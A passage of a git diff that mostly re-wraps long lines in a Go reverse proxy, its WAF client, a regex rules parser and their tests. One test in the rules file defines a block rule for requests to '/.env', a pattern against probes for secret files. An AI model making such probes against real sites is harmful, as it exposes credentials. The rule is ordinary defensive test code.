a/internal/rproxy/request.go +++ b/internal/rproxy/request.go @@ -96,24 +96,34 @@ type request struct { // newRequest starts handling r: it notes the time, works out the visitor from // the TCP peer and X-Forwarded-For, and makes the request's id. -func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { +func (h *handler) newRequest( + w http.ResponseWriter, + r *http.Request, +) *request { peer := peerAddress(r) trusted := h.config.TrustedProxies rq := &request{ - h: h, - in: r, - rc: http.NewResponseController(w), - out: &responseWriter{ResponseWriter: w}, - id: rand.Text(), - client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted), + h: h, + in: r, + rc: http.NewResponseController(w), + out: &responseWriter{ResponseWriter: w}, + id: rand.Text(), + client: clientAddress( + peer, + r.Header.Values("X-Forwarded-For"), + trusted, + ), peer: peer, peerTrusted: isInside(peer, trusted), start: time.Now(), } if r.Body != http.NoBody { - rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq} + rq.body = &requestBody{ + body: limitBody(r.Body, h.config.MaxRequestSize), + rq: rq, + } } return rq @@ -138,7 +148,9 @@ func (rq *request) readFirstPartOfBody() bool { } _ = rq.rc.SetReadDeadline(rq.requestDeadline()) - held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes)) + held, err := io.ReadAll( + io.LimitReader(rq.body, waf.QuestionBodyMaxBytes), + ) // From here on, the request timer ends a read of the rest of the body, so that // the answer can name the side rproxy was waiting on. _ = rq.rc.SetReadDeadline(time.Time{}) @@ -257,7 +269,8 @@ func (rq *request) modifyResponse(res *http.Response) error { } maxBytes := rq.h.config.MaxResponseSize - if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes { + if maxBytes > 0 && res.Body != http.NoBody && + res.ContentLength > maxBytes { rq.refuse(http.StatusBadGateway) return errResponseTooLarge @@ -284,7 +297,11 @@ func (rq *request) modifyResponse(res *http.Response) error { // answerError is ReverseProxy's ErrorHandler: the request could not be passed to // the app, or the app's answer cannot be passed on. -func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) { +func (rq *request) answerError( + _ http.ResponseWriter, + _ *http.Request, + err error, +) { if rq.upgraded != nil { // The app switched protocols, but the switch was not passed on, and // ReverseProxy leaves the app's connection open when it refuses it. @@ -300,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error panic(http.ErrAbortHandler) } - rq.h.processLog.Warn("request to the app failed", "error", err.Error()) + rq.h.processLog.Warn( + "request to the app failed", + "error", + err.Error(), + ) status = http.StatusBadGateway } @@ -411,24 +432,33 @@ func (rq *request) finish(ctx context.Context) { end := time.Now() requestBytes, responseBytes := rq.bytesEachWay() - err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{ - Time: requestlog.FormatTime(rq.start), - RequestID: rq.id, - ClientIP: rq.client.String(), - Host: rq.in.Host, - Method: rq.in.Method, - Path: rules.Path(rq.in), - Query: rq.in.URL.RawQuery, - Status: rq.out.status, - RequestBytes: requestBytes, - ResponseBytes: responseBytes, - DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)), - DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)), - Disposition: rq.disposition, - DefaultDisposition: rq.byDefault, - }) + err := requestlog.WriteRProxyLine( + rq.h.requestLog, + &requestlog.RProxyLine{ + Time: requestlog.FormatTime(rq.start), + RequestID: rq.id, + ClientIP: rq.client.String(), + Host: rq.in.Host, + Method: rq.in.Method, + Path: rules.Path(rq.in), + Query: rq.in.URL.RawQuery, + Status: rq.out.status, + RequestBytes: requestBytes, + ResponseBytes: responseBytes, + DurationRequestMS: requestlog.Milliseconds( + requestEnd.Sub(rq.start), + ), + DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)), + Disposition: rq.disposition, + DefaultDisposition: rq.byDefault, + }, + ) if err != nil { - rq.h.processLog.Error("writing the request log failed", "error", err.Error()) + rq.h.processLog.Error( + "writing the request log failed", + "error", + err.Error(), + ) } if !rq.answered { @@ -443,7 +473,9 @@ func (rq *request) finish(ctx context.Context) { DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)), } if !rq.upstreamStart.IsZero() { - report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart)) + report.DurationUpstreamTotalMS = requestlog.Milliseconds( + end.Sub(rq.upstreamStart), + ) } rq.h.sendReport(ctx, report) @@ -522,7 +554,10 @@ func (rq *request) startRequestTimer() { rq.mu.Lock() defer rq.mu.Unlock() - rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut) + rq.requestTimer = time.AfterFunc( + time.Until(deadline), + rq.requestTimedOut, + ) } // requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the @@ -613,7 +648,9 @@ func (rq *request) setResponseDeadline() { deadline := rq.endRequest().Add(limit) - _ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime))) + _ = rq.rc.SetWriteDeadline( + time.Now().Add(max(time.Until(deadline), minSendTime)), + ) _ = rq.rc.Flush() _ = rq.rc.SetWriteDeadline(deadline) } diff --git a/internal/rproxy/rproxy.go b/internal/rproxy/rproxy.go index d3785bc..81852e2 100644 --- a/internal/rproxy/rproxy.go +++ b/internal/rproxy/rproxy.go @@ -78,7 +78,10 @@ type Server struct { // on. func New(params Params) *Server { backend := params.Config.WAFBackend - errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) + errorLog := slog.NewLogLogger( + params.ProcessLog.Handler(), + slog.LevelWarn, + ) h := &handler{ config: params.Config, requestLog: params.RequestLog, diff --git a/internal/rproxy/rproxy_test.go b/internal/rproxy/rproxy_test.go index fb39dac..fde59a0 100644 --- a/internal/rproxy/rproxy_test.go +++ b/internal/rproxy/rproxy_test.go @@ -358,11 +358,13 @@ func startServerLogging( } maps.Copy(settings, env) - cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) { - value, ok := settings[name] + cfg, err := config.RProxyFromEnvironment( + func(name string) (string, bool) { + value, ok := settings[name] - return value, ok - }) + return value, ok + }, + ) if err != nil { t.Fatalf("settings %v: %v", settings, err) } @@ -370,10 +372,18 @@ func startServerLogging( server := rproxy.New(rproxy.Params{ Config: cfg, RequestLog: requestLog, - ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo), + ProcessLog: requestlog.NewProcessLogger( + processLog, + "test", + slog.LevelInfo, + ), }) - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -403,7 +413,10 @@ type answered struct { func visit(t *testing.T, req *http.Request) answered { t.Helper() - transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true} + transport := &http.Transport{ + DisableKeepAlives: true, + DisableCompression: true, + } defer transport.CloseIdleConnections() res, err := transport.RoundTrip(req) @@ -429,8 +442,12 @@ func newRequest( ) *http.Request { t.Helper() - req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target, - body) + req, err := http.NewRequestWithContext( + t.Context(), + method, + "http://"+addr+target, + body, + ) if err != nil { t.Fatalf("new request: %v", err) } @@ -450,7 +467,11 @@ func wantGreeting(t *testing.T, got answered) { t.Helper() if got.status != http.StatusOK || got.body != greeting { - t.Errorf("answered %d %q, want the app's greeting", got.status, got.body) + t.Errorf( + "answered %d %q, want the app's greeting", + got.status, + got.body, + ) } } @@ -547,7 +568,12 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) { requestIDHeader: asked.header.Get(requestIDHeader), } { if received.Header.Get(name) != want { - t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want) + t.Errorf( + "the app saw %s %q, want %q", + name, + received.Header.Get(name), + want, + ) } } } @@ -660,7 +686,12 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) { }) _, _, server := startServer(t, standIn.URL, app.URL, nil) - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "/", + http.NoBody, + ) w := httptest.NewRecorder() server.Handler.ServeHTTP(w, req) @@ -670,8 +701,11 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) { // stops it: the key with no value. values, there := w.Header()["Content-Type"] if !there || len(values) != 0 { - t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value", - values, there) + t.Errorf( + "the answer's Content-Type is %q, there: %v, want the key with no value", + values, + there, + ) } } @@ -706,8 +740,12 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) { wantGreeting(t, visit(t, req)) header := <-seen - if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 { - t.Errorf("the app saw the visitor's lookup headers: %v", header) + if len(header.Values(asnHeader)) != 0 || + len(header.Values(countryHeader)) != 0 { + t.Errorf( + "the app saw the visitor's lookup headers: %v", + header, + ) } }) } @@ -740,7 +778,8 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) { } line := out.requestLine(t) - if line["disposition"] != dispositionDeny || line["default_disposition"] != nil { + if line["disposition"] != dispositionDeny || + line["default_disposition"] != nil { t.Errorf("line %v, want waf's deny", line) } } @@ -754,7 +793,11 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) { got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) if got.status != http.StatusForbidden || - got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) { + got.header.Get( + contentLengthHeader, + ) != strconv.Itoa( + len(deniedBody), + ) { t.Errorf("answered %+v, want waf's 403 and its length", got) } } @@ -778,7 +821,14 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) { log := heldLog{release: make(chan struct{})} standIn := startWAF(t, deny) app := startApp(t, greet) - addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard) + addr, _ := startServerLogging( + t, + standIn.URL, + app.URL, + nil, + log, + io.Discard, + ) t.Cleanup(func() { close(log.release) }) @@ -795,9 +845,16 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) { }() body, err := io.ReadAll(res.Body) - if err != nil || res.StatusCode != tc.status || string(body) != tc.body { - t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err, - tc.status, tc.body) + if err != nil || res.StatusCode != tc.status || + string(body) != tc.body { + t.Errorf( + "answered %d %q (%v), want %d %q", + res.StatusCode, + body, + err, + tc.status, + tc.body, + ) } }) } @@ -843,8 +900,11 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) { text, err := io.ReadAll(conn) if err != nil || len(text) != 0 { - t.Errorf("read %q (%v), want the connection closed without an answer", - text, err) + t.Errorf( + "read %q (%v), want the connection closed without an answer", + text, + err, + ) } report := standIn.report(t) @@ -858,7 +918,9 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) { } } -func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) { +func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime( + t *testing.T, +) { t.Parallel() backend := startWAFAnsweringReports(t, @@ -881,7 +943,10 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) { duration, ok := line["duration_response_ms"].(float64) if !ok || duration < 0 { - t.Errorf("line %v, want a duration_response_ms that is not negative", line) + t.Errorf( + "line %v, want a duration_response_ms that is not negative", + line, + ) } } } @@ -900,12 +965,16 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string { func noAnswers() map[string]func(t *testing.T) string { return map[string]func(t *testing.T) string{ "no connection": func(*testing.T) string { return nowhere }, - "no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) { - panic(http.ErrAbortHandler) - }), - "a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) { - <-r.Context().Done() - }), + "no answer at all": answeringWith( + func(http.ResponseWriter, *http.Request) { + panic(http.ErrAbortHandler) + }, + ), + "a slow start": answeringWith( + func(_ http.ResponseWriter, r *http.Request) { + <-r.Context().Done() + }, + ), "headers followed by a stalled body": answeringWith( func(w http.ResponseWriter, r *http.Request) { w.Header().Set(dispositionHeader, dispositionDeny) @@ -947,21 +1016,29 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) { t.Run(tc.name+" with the default "+setting, func(t *testing.T) { t.Parallel() - standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) { - if tc.disposition != "" { - w.Header().Set(dispositionHeader, tc.disposition) - } + standIn := startWAF( + t, + func(w http.ResponseWriter, _ *http.Request) { + if tc.disposition != "" { + w.Header().Set(dispositionHeader, tc.disposition) + } - w.Header().Set(fromWAFHeader, addedHeaderValue) - w.WriteHeader(tc.status) - _, _ = io.WriteString(w, tc.body) - }) + w.Header().Set(fromWAFHeader, addedHeaderValue) + w.WriteHeader(tc.status) + _, _ = io.WriteString(w, tc.body) + }, + ) app := startApp(t, func(http.ResponseWriter, *http.Request) { t.Error("the app was asked") }) - addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ - defaultDisposition: setting, - }) + addr, out := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + defaultDisposition: setting, + }, + ) got := get(t, addr, "/") if got.status != tc.status || got.body != tc.body || @@ -974,8 +1051,13 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) { } line := out.requestLine(t) - if line["status"] != float64(tc.status) || line["default_disposition"] != nil { - t.Errorf("line %v, want status %d and no default", line, tc.status) + if line["status"] != float64(tc.status) || + line["default_disposition"] != nil { + t.Errorf( + "line %v, want status %d and no default", + line, + tc.status, + ) } if out.has("waf gave no answer") { @@ -1036,7 +1118,8 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) { }) got := get(t, addr, "/") - if got.status != http.StatusInternalServerError || len(got.body) != size { + if got.status != http.StatusInternalServerError || + len(got.body) != size { t.Errorf("answered %d with %d bytes, want waf's 500 with %d", got.status, len(got.body), size) } @@ -1048,7 +1131,11 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) { func startWAFWriting(t *testing.T, text string) string { t.Helper() - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -1126,10 +1213,15 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) { t.Error("the app was asked") }) - addr, out := startRProxy(t, backend(t), app.URL, map[string]string{ - timeoutSetting: "60000", - defaultDisposition: setting, - }) + addr, out := startRProxy( + t, + backend(t), + app.URL, + map[string]string{ + timeoutSetting: "60000", + defaultDisposition: setting, + }, + ) if got := get(t, addr, "/"); got.status != http.StatusBadGateway { t.Errorf("answered %+v, want 502", got) @@ -1138,7 +1230,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) { line := out.requestLine(t) if line["status"] != float64(http.StatusBadGateway) || line["disposition"] != nil || line["default_disposition"] != nil { - t.Errorf("line %v, want status 502 and no disposition", line) + t.Errorf( + "line %v, want status 502 and no disposition", + line, + ) } out.waitFor(t, "waf's answer is dropped") @@ -1171,9 +1266,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { t.Parallel() app := startApp(t, greet) - addr, out := startRProxy(t, backend(t), app.URL, map[string]string{ - timeoutSetting: "200", - }) + addr, out := startRProxy( + t, + backend(t), + app.URL, + map[string]string{ + timeoutSetting: "200", + }, + ) wantGreeting(t, get(t, addr, "/")) @@ -1190,10 +1290,15 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) { t.Error("the app was asked") }) - addr, out := startRProxy(t, backend(t), app.URL, map[string]string{ - timeoutSetting: "200", - defaultDisposition: dispositionDeny, - }) + addr, out := startRProxy( + t, + backend(t), + app.URL, + map[string]string{ + timeoutSetting: "200", + defaultDisposition: dispositionDeny, + }, + ) got := get(t, addr, "/") if got.status != http.StatusServiceUnavailable { @@ -1216,16 +1321,24 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) { t.Run("with the default "+disposition, func(t *testing.T) { t.Parallel() - standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) { - <-r.Context().Done() - }) + standIn := startWAF( + t, + func(_ http.ResponseWriter, r *http.Request) { + <-r.Context().Done() + }, + ) app := startApp(t, func(http.ResponseWriter, *http.Request) { t.Error("the app was asked") }) - addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ - timeoutSetting: "60000", - defaultDisposition: disposition, - }) + addr, out := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + timeoutSetting: "60000", + defaultDisposition: disposition, + }, + ) conn := dial(t, addr) send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n") @@ -1443,12 +1556,21 @@ func TestReportGivesWhatHappened(t *testing.T) { report.ResponseBytes != int64(len(greeting)) || report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 || report.DurationUpstreamTotalMS > report.DurationTotalMS { - t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting)) + t.Errorf( + "report %+v, of %d bytes up and %d back", + report, + len(body), + len(greeting), + ) } line := out.requestLine(t) if line["request_id"] != report.RequestID { - t.Errorf("line %v, report %+v, want the same request id", line, report) + t.Errorf( + "line %v, report %+v, want the same request id", + line, + report, + ) } } @@ -1477,9 +1599,14 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) { t.Cleanup(backend.Close) app := startApp(t, greet) - addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{ - timeoutSetting: "5000", - }) + addr, _, server := startServer( + t, + backend.URL, + app.URL, + map[string]string{ + timeoutSetting: "5000", + }, + ) wantGreeting(t, get(t, addr, "/")) @@ -1535,7 +1662,11 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) { _ = res.Body.Close() if res.StatusCode != http.StatusSwitchingProtocols { - t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) + t.Fatalf( + "status %d, want %d", + res.StatusCode, + http.StatusSwitchingProtocols, + ) } // Past both time limits, the connection still carries what is sent. @@ -1559,7 +1690,9 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) { t.Errorf("report %+v, of %d bytes each way", report, len(message)) } - if line := out.requestLine(t); line["status"] != float64(res.StatusCode) { + if line := out.requestLine(t); line["status"] != float64( + res.StatusCode, + ) { t.Errorf("line %v, want status 101", line) } } @@ -1714,7 +1847,8 @@ func TestEachRequestGetsAFreshID(t *testing.T) { ids = append(ids, standIn.question(t).header.Get(requestIDHeader)) } - if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] { + if slices.Contains(ids, fromTraefik) || ids[0] == "" || + ids[0] == ids[1] { t.Errorf("ids %v, want two fresh ones", ids) } } @@ -1732,7 +1866,13 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) { app := startApp(t, greet) addr, out := startRProxy(t, standIn.URL, app.URL, nil) - req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body)) + req := newRequest( + t, + http.MethodPost, + addr, + path+"?"+query, + strings.NewReader(body), + ) req.Host = site wantGreeting(t, visit(t, req)) @@ -1758,7 +1898,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) { } if line["default_disposition"] != nil { - t.Errorf("default_disposition is %v, want it left out", line["default_disposition"]) + t.Errorf( + "default_disposition is %v, want it left out", + line["default_disposition"], + ) } for _, name := range []string{"duration_request_ms", "duration_response_ms"} { diff --git a/internal/rproxy/waf.go b/internal/rproxy/waf.go index b47c425..7a177ca 100644 --- a/internal/rproxy/waf.go +++ b/internal/rproxy/waf.go @@ -23,7 +23,9 @@ const answerBodyMaxBytes = 1 << 20 const reportAnswerMaxBytes = 4 << 10 var ( - errCannotPassOn = errors.New("the answer cannot be passed to the visitor") + errCannotPassOn = errors.New( + "the answer cannot be passed to the visitor", + ) errReportRefused = errors.New("the report was answered") ) @@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) { // a read of that. Go's client also takes a status below 100, which Go's server // panics when asked to send. if res.StatusCode < http.StatusOK { - return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode) + return nil, fmt.Errorf( + "%w: its status is %d", + errCannotPassOn, + res.StatusCode, + ) } body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1)) @@ -133,10 +139,14 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) { // waf. func canBeAsked(r *http.Request) bool { target, host := r.RequestURI, r.Host - hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%") + hostHasZone := strings.HasPrefix(host, "[") && + strings.Contains(host, "%") - return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") && - host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1 + return strings.HasPrefix(target, "/") && + !strings.HasPrefix(target, "//") && + host != "" && + !hostHasZone && + len(r.Header.Values("User-Agent")) <= 1 } // newQuestion returns the question about the request, as "The question" in @@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) { } question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL - ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held)) + ctx, + in.Method, + rq.h.config.WAFBackend.String(), + bytes.NewReader(held), + ) if err != nil { return nil, fmt.Errorf("make the question: %w", err) } @@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error { // The body of a 101 is the connection itself, and the time limit does not end // a read of that. if res.StatusCode >= http.StatusOK { - _, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes)) + _, _ = io.Copy( + io.Discard, + io.LimitReader(res.Body, reportAnswerMaxBytes), + ) } _ = res.Body.Close() diff --git a/internal/rules/rules.go b/internal/rules/rules.go index 3e4014c..14f65b8 100644 --- a/internal/rules/rules.go +++ b/internal/rules/rules.go @@ -63,7 +63,9 @@ const escapeLength = 3 var ( // ruleLine is a rule: four fields separated by spaces or tabs, of // which the fourth, the regex, runs to the end of the line. - ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`) + ruleLine = regexp.MustCompile( + `^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`, + ) // idChars are the characters of a rule's id. idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`) ) @@ -74,7 +76,8 @@ var ( "separated by spaces or tabs") errNotID = errors.New("is not an id of letters, digits, - and _") errNotTarget = errors.New( - "is not path, query, uri, method, host, user_agent, referer or header:") + "is not path, query, uri, method, host, user_agent, referer or header:", + ) errNotHeaderName = errors.New( "has a character after header: that no header name can have") errHeaderTakenOut = errors.New( @@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) { for _, entry := range entries { name := entry.Name() - if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension { + if entry.IsDir() || strings.HasPrefix(name, ".") || + filepath.Ext(name) != extension { continue } @@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) { // readFile appends the rules of the rule file at path to rules. places // are where each id read so far is, and gain those of the file. -func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) { - data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR +func readFile( + path string, + rules []Rule, + places map[string]string, +) ([]Rule, error) { + //nolint:gosec // a rule file, in SWW_RULES_DIR + data, err := os.ReadFile(path) if err != nil { return nil, err } @@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro first, used := places[rule.ID] if used { - return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first) + return nil, fmt.Errorf( + "%s: the id %q %w %s", + place, + rule.ID, + errUsedTwice, + first, + ) } places[rule.ID] = place @@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) { case !idChars.MatchString(rule.ID): return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID) case !isTarget(rule.Target): - return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget) + return Rule{}, false, fmt.Errorf( + "the target %q %w", + rule.Target, + errNotTarget, + ) case isHeader && !config.IsHeaderName(headerName): - return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName) + return Rule{}, false, fmt.Errorf( + "the target %q %w", + rule.Target, + errNotHeaderName, + ) case strings.EqualFold(rule.Target, headerTarget+"Host"): return Rule{}, false, fmt.Errorf( "the target %q %w; the request's host is the target host", rule.Target, errHeaderTakenOut) case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"): - return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut) + return Rule{}, false, fmt.Errorf( + "the target %q %w", + rule.Target, + errHeaderTakenOut, + ) case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action): - return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction) + return Rule{}, false, fmt.Errorf( + "the action %q %w", + rule.Action, + errNotAction, + ) } regex, err := regexp.Compile(fields[4]) if err != nil { - return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err) + return Rule{}, false, fmt.Errorf( + "the regex %w: %w", + errNotRegex, + err, + ) } rule.regex = regex @@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) { // isTarget reports whether target is one a rule may have. func isTarget(target string) bool { switch target { - case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer": + case pathTarget, + "query", + uriTarget, + "method", + "host", + "user_agent", + "referer": return true } @@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool { target := value(rule.Target, r) if rule.Target == pathTarget || rule.Target == uriTarget { - return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target)) + return rule.regex.MatchString(target) || + rule.regex.MatchString(DecodeOnce(target)) } return rule.regex.MatchString(target) diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go index 732da77..9304a96 100644 --- a/internal/rules/rules_test.go +++ b/internal/rules/rules_test.go @@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) { got := len(files.Match(r)) == 1 if got != tc.want { - t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want) + t.Errorf( + "%s matches %s: %t, want %t", + tc.rule, + tc.uri, + got, + tc.want, + ) } }) } @@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) { for _, target := range []string{ tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent, } { - r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil) + r := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + target, + nil, + ) wantMatched(t, files, r, "as-sent") } } @@ -146,14 +157,20 @@ after path log ^/ wantMatched(t, files, get(t, "/page"), "every-path", "after") // A ban rule ends it too. - files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"}) + files = load( + t, + ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"}, + ) wantMatched(t, files, get(t, "/"), "ban") } func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) { t.Parallel() - files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"}) + files := load( + t, + ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"}, + ) wantMatched(t, files, get(t, "/.env"), "env-file") } @@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) { // The lock file Emacs makes beside a file while it is edited: a link to // nothing, which cannot be read. - err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile)) + err := os.Symlink( + "user@host.1234:1700000000", + filepath.Join(dir, ".#"+firstFile), + ) if err != nil { t.Fatalf("symlink: %v", err) } @@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) { dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content}) path := filepath.Join(dir, "00-default.rules") - wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want) + want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want + wantRefused(t, dir, want) }) } } @@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) { "50-b.rules": "other path log ^/b\nprobe path ban ^/c\n", }) - wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+ - "is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1") + wantRefused( + t, + dir, + filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+ + "is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1", + ) } func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { @@ -305,7 +330,9 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { t.Parallel() - params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"})) + params, lines := newParams( + writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}), + ) files, err := rules.Load(params) if err != nil { @@ -314,7 +341,11 @@ func 